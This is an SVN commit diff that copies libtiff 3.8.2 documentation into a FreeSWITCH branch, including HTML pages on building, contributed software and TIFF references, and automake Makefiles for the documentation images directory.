+<p>Systems without a 32-bit compiler may not be able to handle some
+of the codecs in the library; especially the Group 3 and 4 decoder.
+If you encounter problems try disabling support for a particular
+codec; consult the <a href=
+"internals.html#Config">documentation</a>.</p>
+<p>Programs in the tools directory are written to assume an ANSI C
+compilation environment. There may be a few POSIX'isms as well. The
+code in the <b>port</b> directory is provided to emulate routines
+that may be missing on some systems. On UNIX systems the
+<tt>configure</tt> script automatically figures out which routines
+are not present on a system and enables the use of the equivalent
+emulation routines from the <b>port</b> directory. It may be
+necessary to manually do this work on a non-UNIX system. <a name=
+"Testing" id="Testing"></a></p>
+<hr>
+<h2>Checking out the Software</h2>
+<p>Assuming you have working versions of <tt>tiffgt</tt> and
+<tt>tiffsv</tt>, you can just use them to view any of the sample
+images available for testing (see the <a href="images.html">section
+on obtaining the test images</a>). Otherwise, you can do a cursory
+check of the library with the <tt>tiffcp</tt> and <tt>tiffcmp</tt>
+programs. For example,</p>
+<div style="margin-left: 2em">
+<pre>
+tiffcp -lzw cramps.tif x.tif
+tiffcmp cramps.tif x.tif
+</pre></div>
+<p>(<tt>tiffcmp</tt> should be silent if the files compare
+correctly). <a name="TOC" id="TOC"></a></p>
+<hr>
+<h2>Table of Contents</h2>
+The following files makup the core library:
+<pre>
+libtiff/tiff.h                  TIFF spec definitions
+libtiff/tiffcomp.h              non-UNIX OS-compatibility definitions
+libtiff/tiffconf.h              non-UNIX configuration definitions
+libtiff/tiffio.h                public TIFF library definitions
+libtiff/tiffiop.h               private TIFF library definitions
+libtiff/t4.h                    CCITT Group 3/4 code tables+definitions
+libtiff/tif_dir.h               private defs for TIFF directory handling
+libtiff/tif_fax3.h              CCITT Group 3/4-related definitions
+libtiff/tif_predict.h           private defs for Predictor tag support
+libtiff/uvcode.h                LogL/LogLuv codec-specific definitions
+libtiff/version.h               version string (generated by Makefile)
+
+libtiff/tif_acorn.c             Acorn-related OS support
+libtiff/tif_apple.c             Apple-related OS support
+libtiff/tif_atari.c             Atari-related OS support
+libtiff/tif_aux.c               auxilary directory-related functions
+libtiff/tif_close.c             close an open TIFF file
+libtiff/tif_codec.c             configuration table of builtin codecs
+libtiff/tif_compress.c          compression scheme support
+libtiff/tif_dir.c               directory tag interface code
+libtiff/tif_dirinfo.c           directory known tag support code
+libtiff/tif_dirread.c           directory reading code
+libtiff/tif_dirwrite.c          directory writing code
+libtiff/tif_dumpmode.c          "no" compression codec
+libtiff/tif_error.c             library error handler
+libtiff/tif_fax3.c              CCITT Group 3 and 4 codec
+libtiff/tif_fax3sm.c            G3/G4 state tables (generated by mkg3states)
+libtiff/tif_flush.c             i/o and directory state flushing
+libtiff/tif_getimage.c          TIFFRGBAImage support
+libtiff/tif_jpeg.c              JPEG codec (interface to the IJG distribution)
+libtiff/tif_luv.c               SGI LogL/LogLuv codec
+libtiff/tif_lzw.c               LZW codec
+libtiff/tif_msdos.c             MSDOS-related OS support
+libtiff/tif_next.c              NeXT 2-bit scheme codec (decoding only)
+libtiff/tif_open.c              open and simply query code
+libtiff/tif_packbits.c          Packbits codec
+libtiff/tif_pixarlog.c          Pixar codec
+libtiff/tif_predict.c           Predictor tag support
+libtiff/tif_print.c             directory printing support
+libtiff/tif_read.c              image data reading support
+libtiff/tif_strip.c             some strip-related code
+libtiff/tif_swab.c              byte and bit swapping support
+libtiff/tif_thunder.c           Thunderscan codec (decoding only)
+libtiff/tif_tile.c              some tile-related code
+libtiff/tif_unix.c              UNIX-related OS support
+libtiff/tif_version.c           library version support
+libtiff/tif_vms.c               VMS-related OS support
+libtiff/tif_warning.c           library warning handler
+libtiff/tif_win3.c              Windows-3.1-related OS support
+libtiff/tif_win32.c             Win32 (95/98/NT) related OS support
+libtiff/tif_write.c             image data writing support
+libtiff/tif_zip.c               Deflate codec
+
+libtiff/mkg3states.c            program to generate G3/G4 decoder state tables
+libtiff/mkspans.c               program to generate black-white span tables
+libtiff/mkversion.c             program to generate libtiff/version.h.
+</pre>
+<hr>
+Last updated: $Date: 2005/12/24 22:25:05 $
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/contrib.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/contrib.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/contrib.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/contrib.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/contrib.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,209 @@
+<HTML>
+<HEAD>
+<TITLE>
+Contributed TIFF Software
+</TITLE>
+</HEAD>
+
+<BODY BGCOLOR=white> 
+<FONT FACE="Arial, Helvetica, Sans">
+<H1>
+<IMG SRC=images/smallliz.jpg WIDTH=144 HEIGHT=108 ALIGN=left BORDER=1 HSPACE=6>
+Contributed TIFF Software
+</H1>
+
+
+<P>
+The <B>contrib</B> directory has contributed software that
+uses the TIFF library or which is associated with the library
+(typically glue and guidance for ports to non-UNIX platforms, or tools that
+aren't directly TIFF related).
+
+<BR CLEAR=left>
+
+<P>
+<TABLE BORDER CELLPADDING=3>
+
+<TR>
+<TD VALIGN=top>
+<B>contrib/vms</B>
+</TD>
+<TD>
+scripts and files from Karsten Spang for building
+		the library and tools under VMS
+</TD>
+</TR>
+
+<TR>
+<TD VALIGN=top>
+<B>contrib/dbs</B>
+</TD>
+<TD>
+various tools from Dan & Chris Sears, including a simple X-based viewer
+</TD>
+</TR>
+
+<TR>
+<TD VALIGN=top>
+<B>contrib/ras</B>
+</TD>
+<TD>
+two programs by Patrick Naughton for converting
+		between Sun rasterfile format and TIFF (these
+		require <TT>libpixrect.a</TT>, as opposed to the one in
+		tools that doesn't)
+</TD>
+</TR>
+
+<TR>
+<TD VALIGN=top>
+<B>contrib/mac-mpw</B><br>
+<B>contrib/mac-cw</B>
+</TD>
+<TD>
+scripts and files from Niles Ritter for building
+the library and tools under Macintosh/MPW C and
+code warrior.
+</TD>
+</TR>
+
+<TR>
+<TD VALIGN=top>
+<B>contrib/acorn</B>
+</TD>
+<TD>
+scripts and files from Peter Greenham for building
+		the library and tools on an Acorn RISC OS system.
+</TD>
+</TR>
+
+<TR>
+<TD VALIGN=top>
+<B>contrib/win32</B>
+</TD>
+<TD>
+scripts and files from Scott Wagner for building
+the library under Windows NT and Windows 95. (The makefile.vc in the
+libtiff/libtiff directory may be sufficient for most users.)
+</TD>
+</TR>
+
+<TR>
+<TD VALIGN=top>
+<B>contrib/win_dib</B>
+</TD>
+<TD>
+two separate implementations of TIFF to DIB code suitable for any Win32 
+platform.  Contributed by Mark James, and Philippe Tenenhaus.
+</TD>
+</TR>
+
+<TR>
+<TD VALIGN=top>
+<B>contrib/ojpeg</B>
+</TD>
+<TD>
+Patch for IJG JPEG library related to support for some Old JPEG in TIFF files.
+Contributed by Scott Marovich.
+</TD>
+</TR>
+
+<TR>
+<TD VALIGN=top>
+<B>contrib/dosdjgpp</B>
+</TD>
+<TD>
+scripts and files from Alexander Lehmann for building
+		the library under MSDOS with the DJGPP v2 compiler.
+</TD>
+</TR>
+
+<TR>
+<TD VALIGN=top>
+<B>contrib/tags</B>
+</TD>
+<TD>
+scripts and files from Niles Ritter for adding private
+         tag support at runtime, without changing libtiff.
+</TD>
+</TR>
+
+<TR>
+<TD VALIGN=top>
+<B>contrib/mfs</B>
+</TD>
+<TD>
+code from Mike Johnson to read+write images in memory
+without modifying the library
+</TD>
+</TR>
+
+<TR>
+<TD VALIGN=top>
+<B>contrib/pds</B>
+</TD>
+<TD>
+various routines from Conrad Poelman; a TIFF image iterator and
+   code to support ``private sub-directories''
+</TD>
+</TR>
+
+<TR>
+<TD VALIGN=top>
+<B>contrib/iptcutil</B>
+</TD>
+
+<TD>
+
+A utility by <A HREF=mailto:billr@corbis.com>Bill Radcliffe</a> to
+convert an extracted IPTC Newsphoto caption from a binary blob to
+ASCII text, and vice versa. IPTC binary blobs can be extracted from
+images via the <A
+HREF=http://www.ImageMagick.org/>ImageMagick</a> convert(1)
+utility.
+
+
+</TD>
+</TR>
+
+<TR>
+<TD VALIGN=top>
+<B>contrib/addtiffo</B>
+</TD>
+
+<TD>
+
+A utility (and supporting subroutine) for building
+one or more reduce resolution
+overviews to an existing TIFF file.  Supplied by 
+<a href="http://pobox.com/~warmerdam">Frank Warmerdam</a>.
+
+</TD>
+</TR>
+
+<TR>
+<TD VALIGN=top>
+<B>contrib/stream</B>
+</TD>
+
+<TD>
+
+A class (TiffStream) for accessing TIFF files through a C++ stream 
+interface.   Supplied by <a href="mailto:avi@shutterfly.com">Avi Bleiweiss</a>.
+
+</TD>
+</TR>
+
+</TABLE>
+
+<P>
+Questions regarding these packages are usually best directed toward
+their authors. 
+
+<P>
+<HR>
+
+Last updated: $Date: 2006/01/03 01:42:30 $
+
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/document.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/document.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/document.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/document.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/document.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,52 @@
+<HTML>
+<HEAD>
+<TITLE>
+TIFF Documentation
+</TITLE>
+</HEAD>
+<BODY BGCOLOR=white> 
+<FONT FACE="Arial, Helvetica, Sans">
+<H1>
+<IMG SRC=images/jim.gif WIDTH=139 HEIGHT=170 ALIGN=left BORDER=1 HSPACE=6>
+TIFF Documentation
+</H1>
+
+<P>
+A copy of the 6.0 specification is available from Adobe at
+<A HREF="http://partners.adobe.com/public/developer/en/tiff/TIFF6.pdf">http://partners.adobe.com/public/developer/en/tiff/TIFF6.pdf</A>, or from the libtiff
+ftp site at <a href="ftp://ftp.remotesensing.org/pub/libtiff/TIFF6.pdf">
+ftp://ftp.remotesensing.org/pub/libtiff/TIFF6.pdf</A>.<p>
+
+<P>
+Draft <a href="TIFFTechNote2.html">TIFF Technical Note #2</A> covers problems 
+with the TIFF 6.0 design for embedding JPEG-compressed data in TIFF, and 
+describes an alternative. <p>
+
+Other Adobe information on TIFF can be retrieved from:
+
+<A HREF="http://partners.adobe.com/public/developer/tiff/index.html">
+http://partners.adobe.com/public/developer/tiff/index.html</A>
+
+<P>
+Joris Van Damme maintains a list of known tags and their descriptions and
+definitions. It is available online at
+<A HREF="http://www.awaresystems.be/imaging/tiff/tifftags.html">
+http://www.awaresystems.be/imaging/tiff/tifftags.html</A>
+
+<P>
+There is a FAQ, related both to TIFF format and libtiff library:
+<A HREF="http://www.awaresystems.be/imaging/tiff/faq.html">
+http://www.awaresystems.be/imaging/tiff/faq.html</A>
+
+<P>
+There is a preliminary <a href="bigtiffdesign.html">BigTIFF Design</a> for
+a TIFF variation supporting files larger than 4GB.
+
+<HR>
+
+<ADDRESS>
+ Last updated: $Date: 2004/12/02 14:51:19 $
+</ADDRESS>
+
+</BODY>
+</HTML>

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/images (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/images)

Property changes: freeswitch/branches/seven/libs/tiff-3.8.2/html/images


Name: svn:ignore
   + Makefile

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/Makefile.am

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/Makefile.am (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/images/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/images/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/images/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,46 @@
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+
+docdir = $(LIBTIFF_DOCDIR)/html/images
+
+docfiles = \
+	back.gif \
+	bali.jpg \
+	cat.gif \
+	cover.jpg \
+	cramps.gif \
+	dave.gif \
+	info.gif \
+	jello.jpg \
+	jim.gif \
+	note.gif \
+	oxford.gif \
+	quad.jpg \
+	ring.gif \
+	smallliz.jpg \
+	strike.gif \
+	warning.gif
+
+dist_doc_DATA = $(docfiles)

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/Makefile.in

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/Makefile.in (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/images/Makefile.in) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/images/Makefile.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/images/Makefile.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,436 @@
+# Makefile.in generated by automake 1.9.6 from Makefile.am.
+# @configure_input@
+
+# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
+# 2003, 2004, 2005  Free Software Foundation, Inc.
+# This Makefile.in is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
+# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+# PARTICULAR PURPOSE.
+
+@SET_MAKE@
+
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+
+srcdir = @srcdir@
+top_srcdir = @top_srcdir@
+VPATH = @srcdir@
+pkgdatadir = $(datadir)/@PACKAGE@
+pkglibdir = $(libdir)/@PACKAGE@
+pkgincludedir = $(includedir)/@PACKAGE@
+top_builddir = ../..
+am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
+INSTALL = @INSTALL@
+install_sh_DATA = $(install_sh) -c -m 644
+install_sh_PROGRAM = $(install_sh) -c
+install_sh_SCRIPT = $(install_sh) -c
+INSTALL_HEADER = $(INSTALL_DATA)
+transform = $(program_transform_name)
+NORMAL_INSTALL = :
+PRE_INSTALL = :
+POST_INSTALL = :
+NORMAL_UNINSTALL = :
+PRE_UNINSTALL = :
+POST_UNINSTALL = :
+build_triplet = @build@
+host_triplet = @host@
+target_triplet = @target@
+subdir = html/images
+DIST_COMMON = $(dist_doc_DATA) $(srcdir)/Makefile.am \
+	$(srcdir)/Makefile.in
+ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
+am__aclocal_m4_deps = $(top_srcdir)/m4/acinclude.m4 \
+	$(top_srcdir)/m4/libtool.m4 $(top_srcdir)/m4/ltoptions.m4 \
+	$(top_srcdir)/m4/ltsugar.m4 $(top_srcdir)/m4/ltversion.m4 \
+	$(top_srcdir)/configure.ac
+am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \
+	$(ACLOCAL_M4)
+mkinstalldirs = $(SHELL) $(top_srcdir)/config/mkinstalldirs
+CONFIG_HEADER = $(top_builddir)/libtiff/tif_config.h \
+	$(top_builddir)/libtiff/tiffconf.h
+CONFIG_CLEAN_FILES =
+SOURCES =
+DIST_SOURCES =
+am__vpath_adj_setup = srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`;
+am__vpath_adj = case $$p in \
+    $(srcdir)/*) f=`echo "$$p" | sed "s|^$$srcdirstrip/||"`;; \
+    *) f=$$p;; \
+  esac;
+am__strip_dir = `echo $$p | sed -e 's|^.*/||'`;
+am__installdirs = "$(DESTDIR)$(docdir)"
+dist_docDATA_INSTALL = $(INSTALL_DATA)
+DATA = $(dist_doc_DATA)
+DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
+ACLOCAL = @ACLOCAL@
+AMDEP_FALSE = @AMDEP_FALSE@
+AMDEP_TRUE = @AMDEP_TRUE@
+AMTAR = @AMTAR@
+AR = @AR@
+AS = @AS@
+AUTOCONF = @AUTOCONF@
+AUTOHEADER = @AUTOHEADER@
+AUTOMAKE = @AUTOMAKE@
+AWK = @AWK@
+CC = @CC@
+CCDEPMODE = @CCDEPMODE@
+CFLAGS = @CFLAGS@
+CPP = @CPP@
+CPPFLAGS = @CPPFLAGS@
+CXX = @CXX@
+CXXCPP = @CXXCPP@
+CXXDEPMODE = @CXXDEPMODE@
+CXXFLAGS = @CXXFLAGS@
+CYGPATH_W = @CYGPATH_W@
+DEFS = @DEFS@
+DEPDIR = @DEPDIR@
+DLLTOOL = @DLLTOOL@
+DUMPBIN = @DUMPBIN@
+ECHO_C = @ECHO_C@
+ECHO_N = @ECHO_N@
+ECHO_T = @ECHO_T@
+EGREP = @EGREP@
+EXEEXT = @EXEEXT@
+FGREP = @FGREP@
+GLUT_CFLAGS = @GLUT_CFLAGS@
+GLUT_LIBS = @GLUT_LIBS@
+GLU_CFLAGS = @GLU_CFLAGS@
+GLU_LIBS = @GLU_LIBS@
+GL_CFLAGS = @GL_CFLAGS@
+GL_LIBS = @GL_LIBS@
+GREP = @GREP@
+HAVE_CXX_FALSE = @HAVE_CXX_FALSE@
+HAVE_CXX_TRUE = @HAVE_CXX_TRUE@
+HAVE_OPENGL_FALSE = @HAVE_OPENGL_FALSE@
+HAVE_OPENGL_TRUE = @HAVE_OPENGL_TRUE@
+HAVE_RPATH_FALSE = @HAVE_RPATH_FALSE@
+HAVE_RPATH_TRUE = @HAVE_RPATH_TRUE@
+INSTALL_DATA = @INSTALL_DATA@
+INSTALL_PROGRAM = @INSTALL_PROGRAM@
+INSTALL_SCRIPT = @INSTALL_SCRIPT@
+INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@
+LD = @LD@
+LDFLAGS = @LDFLAGS@
+LIBDIR = @LIBDIR@
+LIBOBJS = @LIBOBJS@
+LIBS = @LIBS@
+LIBTIFF_ALPHA_VERSION = @LIBTIFF_ALPHA_VERSION@
+LIBTIFF_DOCDIR = @LIBTIFF_DOCDIR@
+LIBTIFF_MAJOR_VERSION = @LIBTIFF_MAJOR_VERSION@
+LIBTIFF_MICRO_VERSION = @LIBTIFF_MICRO_VERSION@
+LIBTIFF_MINOR_VERSION = @LIBTIFF_MINOR_VERSION@
+LIBTIFF_RELEASE_DATE = @LIBTIFF_RELEASE_DATE@
+LIBTIFF_VERSION = @LIBTIFF_VERSION@
+LIBTIFF_VERSION_INFO = @LIBTIFF_VERSION_INFO@
+LIBTOOL = @LIBTOOL@
+LN_S = @LN_S@
+LTLIBOBJS = @LTLIBOBJS@
+MAINT = @MAINT@
+MAINTAINER_MODE_FALSE = @MAINTAINER_MODE_FALSE@
+MAINTAINER_MODE_TRUE = @MAINTAINER_MODE_TRUE@
+MAKEINFO = @MAKEINFO@
+NM = @NM@
+OBJDUMP = @OBJDUMP@
+OBJEXT = @OBJEXT@
+PACKAGE = @PACKAGE@
+PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@
+PACKAGE_NAME = @PACKAGE_NAME@
+PACKAGE_STRING = @PACKAGE_STRING@
+PACKAGE_TARNAME = @PACKAGE_TARNAME@
+PACKAGE_VERSION = @PACKAGE_VERSION@
+PATH_SEPARATOR = @PATH_SEPARATOR@
+PTHREAD_CC = @PTHREAD_CC@
+PTHREAD_CFLAGS = @PTHREAD_CFLAGS@
+PTHREAD_LIBS = @PTHREAD_LIBS@
+RANLIB = @RANLIB@
+SED = @SED@
+SET_MAKE = @SET_MAKE@
+SHELL = @SHELL@
+STRIP = @STRIP@
+VERSION = @VERSION@
+X_CFLAGS = @X_CFLAGS@
+X_EXTRA_LIBS = @X_EXTRA_LIBS@
+X_LIBS = @X_LIBS@
+X_PRE_LIBS = @X_PRE_LIBS@
+ac_ct_AR = @ac_ct_AR@
+ac_ct_AS = @ac_ct_AS@
+ac_ct_CC = @ac_ct_CC@
+ac_ct_CXX = @ac_ct_CXX@
+ac_ct_DLLTOOL = @ac_ct_DLLTOOL@
+ac_ct_DUMPBIN = @ac_ct_DUMPBIN@
+ac_ct_OBJDUMP = @ac_ct_OBJDUMP@
+ac_ct_RANLIB = @ac_ct_RANLIB@
+ac_ct_STRIP = @ac_ct_STRIP@
+acx_pthread_config = @acx_pthread_config@
+am__fastdepCC_FALSE = @am__fastdepCC_FALSE@
+am__fastdepCC_TRUE = @am__fastdepCC_TRUE@
+am__fastdepCXX_FALSE = @am__fastdepCXX_FALSE@
+am__fastdepCXX_TRUE = @am__fastdepCXX_TRUE@
+am__include = @am__include@
+am__leading_dot = @am__leading_dot@
+am__quote = @am__quote@
+am__tar = @am__tar@
+am__untar = @am__untar@
+bindir = @bindir@
+build = @build@
+build_alias = @build_alias@
+build_cpu = @build_cpu@
+build_os = @build_os@
+build_vendor = @build_vendor@
+datadir = @datadir@
+exec_prefix = @exec_prefix@
+host = @host@
+host_alias = @host_alias@
+host_cpu = @host_cpu@
+host_os = @host_os@
+host_vendor = @host_vendor@
+includedir = @includedir@
+infodir = @infodir@
+install_sh = @install_sh@
+libdir = @libdir@
+libexecdir = @libexecdir@
+localstatedir = @localstatedir@
+lt_ECHO = @lt_ECHO@
+mandir = @mandir@
+mkdir_p = @mkdir_p@
+oldincludedir = @oldincludedir@
+prefix = @prefix@
+program_transform_name = @program_transform_name@
+sbindir = @sbindir@
+sharedstatedir = @sharedstatedir@
+sysconfdir = @sysconfdir@
+target = @target@
+target_alias = @target_alias@
+target_cpu = @target_cpu@
+target_os = @target_os@
+target_vendor = @target_vendor@
+docdir = $(LIBTIFF_DOCDIR)/html/images
+docfiles = \
+	back.gif \
+	bali.jpg \
+	cat.gif \
+	cover.jpg \
+	cramps.gif \
+	dave.gif \
+	info.gif \
+	jello.jpg \
+	jim.gif \
+	note.gif \
+	oxford.gif \
+	quad.jpg \
+	ring.gif \
+	smallliz.jpg \
+	strike.gif \
+	warning.gif
+
+dist_doc_DATA = $(docfiles)
+all: all-am
+
+.SUFFIXES:
+$(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.am  $(am__configure_deps)
+	@for dep in $?; do \
+	  case '$(am__configure_deps)' in \
+	    *$$dep*) \
+	      cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \
+		&& exit 0; \
+	      exit 1;; \
+	  esac; \
+	done; \
+	echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign  html/images/Makefile'; \
+	cd $(top_srcdir) && \
+	  $(AUTOMAKE) --foreign  html/images/Makefile
+.PRECIOUS: Makefile
+Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
+	@case '$?' in \
+	  *config.status*) \
+	    cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \
+	  *) \
+	    echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \
+	    cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \
+	esac;
+
+$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+$(top_srcdir)/configure: @MAINTAINER_MODE_TRUE@ $(am__configure_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+$(ACLOCAL_M4): @MAINTAINER_MODE_TRUE@ $(am__aclocal_m4_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+mostlyclean-libtool:
+	-rm -f *.lo
+
+clean-libtool:
+	-rm -rf .libs _libs
+
+distclean-libtool:
+	-rm -f libtool
+uninstall-info-am:
+install-dist_docDATA: $(dist_doc_DATA)
+	@$(NORMAL_INSTALL)
+	test -z "$(docdir)" || $(mkdir_p) "$(DESTDIR)$(docdir)"
+	@list='$(dist_doc_DATA)'; for p in $$list; do \
+	  if test -f "$$p"; then d=; else d="$(srcdir)/"; fi; \
+	  f=$(am__strip_dir) \
+	  echo " $(dist_docDATA_INSTALL) '$$d$$p' '$(DESTDIR)$(docdir)/$$f'"; \
+	  $(dist_docDATA_INSTALL) "$$d$$p" "$(DESTDIR)$(docdir)/$$f"; \
+	done
+
+uninstall-dist_docDATA:
+	@$(NORMAL_UNINSTALL)
+	@list='$(dist_doc_DATA)'; for p in $$list; do \
+	  f=$(am__strip_dir) \
+	  echo " rm -f '$(DESTDIR)$(docdir)/$$f'"; \
+	  rm -f "$(DESTDIR)$(docdir)/$$f"; \
+	done
+tags: TAGS
+TAGS:
+
+ctags: CTAGS
+CTAGS:
+
+
+distdir: $(DISTFILES)
+	@srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; \
+	topsrcdirstrip=`echo "$(top_srcdir)" | sed 's|.|.|g'`; \
+	list='$(DISTFILES)'; for file in $$list; do \
+	  case $$file in \
+	    $(srcdir)/*) file=`echo "$$file" | sed "s|^$$srcdirstrip/||"`;; \
+	    $(top_srcdir)/*) file=`echo "$$file" | sed "s|^$$topsrcdirstrip/|$(top_builddir)/|"`;; \
+	  esac; \
+	  if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
+	  dir=`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \
+	  if test "$$dir" != "$$file" && test "$$dir" != "."; then \
+	    dir="/$$dir"; \
+	    $(mkdir_p) "$(distdir)$$dir"; \
+	  else \
+	    dir=''; \
+	  fi; \
+	  if test -d $$d/$$file; then \
+	    if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
+	      cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
+	    fi; \
+	    cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
+	  else \
+	    test -f $(distdir)/$$file \
+	    || cp -p $$d/$$file $(distdir)/$$file \
+	    || exit 1; \
+	  fi; \
+	done
+check-am: all-am
+check: check-am
+all-am: Makefile $(DATA)
+installdirs:
+	for dir in "$(DESTDIR)$(docdir)"; do \
+	  test -z "$$dir" || $(mkdir_p) "$$dir"; \
+	done
+install: install-am
+install-exec: install-exec-am
+install-data: install-data-am
+uninstall: uninstall-am
+
+install-am: all-am
+	@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
+
+installcheck: installcheck-am
+install-strip:
+	$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
+	  install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \
+	  `test -z '$(STRIP)' || \
+	    echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install
+mostlyclean-generic:
+
+clean-generic:
+
+distclean-generic:
+	-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
+
+maintainer-clean-generic:
+	@echo "This command is intended for maintainers to use"
+	@echo "it deletes files that may require special tools to rebuild."
+clean: clean-am
+
+clean-am: clean-generic clean-libtool mostlyclean-am
+
+distclean: distclean-am
+	-rm -f Makefile
+distclean-am: clean-am distclean-generic distclean-libtool
+
+dvi: dvi-am
+
+dvi-am:
+
+html: html-am
+
+info: info-am
+
+info-am:
+
+install-data-am: install-dist_docDATA
+
+install-exec-am:
+
+install-info: install-info-am
+
